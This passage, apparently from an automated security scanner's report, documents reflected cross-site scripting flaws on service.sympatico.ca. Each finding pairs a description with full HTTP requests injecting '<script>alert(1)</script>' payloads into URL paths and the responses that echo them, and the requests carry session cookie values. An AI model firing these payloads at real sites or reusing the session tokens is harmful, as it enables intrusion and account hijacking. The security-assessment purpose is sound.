%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:07:07 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
den" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/formValidation.js72dce"><script>alert(1)</script>d338be921b9" />
...[SNIP]...

2.190. http://service.sympatico.ca/js/functions.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/functions.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 368c6"><script>alert(1)</script>6a7f7f31804 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js368c6"><script>alert(1)</script>6a7f7f31804/functions.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:07:17 GMT
Connection: close
Set-Cookie: SMSESSION=A+IoUBKnboOiFHGH0Z/yUoVwO9ho0kkstidfk2sfggD0hdLv8F2KjgXKD4IMIroy6NOeOrmBWNvMNqRVAy2jARIZjbx94/rRCItmE7zOfKav/xNzjK5mCE7GQpqJlchIvyCmKwLrvGdO21yYKK1YG8jOxBEt4lD8NgMJD5J/umrH9x1jsV6lW7+xoMkRbx/skqfr43g8D5HM+fp+cJqed0wUn1U2Qk1eI4b71bdXVPqrVaHi9qkmJKot5eaX5oZHBhmmuIJ+nMdxkc8GVpnwaKe/V06hZ2jx88mkrEi/Chh675+arLOIPg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:07:17 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:07:17 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:07:17 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:07:17 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:07:17 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:07:17 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:07:17 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:07:17 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:07:17 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:07:17 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:07:17 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:07:17 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:07:17 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:07:17 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js368c6"><script>alert(1)</script>6a7f7f31804/functions.js" />
...[SNIP]...

2.191. http://service.sympatico.ca/js/functions.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/functions.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload caca6"><script>alert(1)</script>0ab87822de8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/functions.jscaca6"><script>alert(1)</script>0ab87822de8 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:07:26 GMT
Connection: close
Set-Cookie: SMSESSION=JkSf0D9x1Mr0IrZQ0bIFaC3r9BSfN3JpvGNKp4oJosQzjKUsyk0QJDgTzYHzb6C9yWqEmS7XloWfP+rjZ539iKcennkglGsBzBS9WuDRJxV8rQ12dPrjMayiiFpjAsOv4F6/FtbxOc/b1bwtKuCXAVXr63AjW3jyssj3cuHF0VcVFJNEHMpe33wEOL/KkWE+Qf1r0XE/x4InT4Q2MAs1uLzm+u7wWNeKKcPsuCxPT1DQfIOq+vQ5LJ9T/RSoLokY86rT6AnH5H5fZ9MVcZimWQzK8yHTQtPSWQR+Yv8SBInSnmkXnK/HkA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:07:26 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:07:26 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:07:26 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:07:26 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:07:26 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:07:26 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:07:26 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:07:26 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:07:26 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:07:26 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:07:26 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:07:26 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:07:26 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:07:26 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/functions.jscaca6"><script>alert(1)</script>0ab87822de8" />
...[SNIP]...

2.192. http://service.sympatico.ca/js/glossaryDefinition.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/glossaryDefinition.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15511"><script>alert(1)</script>ac156751645 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js15511"><script>alert(1)</script>ac156751645/glossaryDefinition.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:07:19 GMT
Connection: close
Set-Cookie: SMSESSION=e5W6zlFGDnekFOrupf8ialeRAifQPRodg2/yPLimYxK0bAqTfwLxFtDck+gu/AybEElcm1TLk1tJmSBY93/sXgMR/F9W3tIkEAeooELmhvbmyrnkMirLb2rqPIRhcEk1rPir9zw7if8IRq6BGqag4yVbrDqRdw11Ia2DQf7zPxXCJsX5/612hc+s/23/2pV+nTEhgaof1ZbvP0x1X5PeOgONv1RWssx57jA2ckiskD5AP+QyUdUyWOuOJVzite7VjujH9nGIkTePSL2LHtX1HXWzaN7VgOCoJBA/yloMfV6psEKhco0hhw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:07:19 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:07:19 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:07:19 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:07:19 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:07:19 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:07:19 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:07:19 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:07:19 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:07:19 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:07:19 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:07:19 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:07:19 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:07:19 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2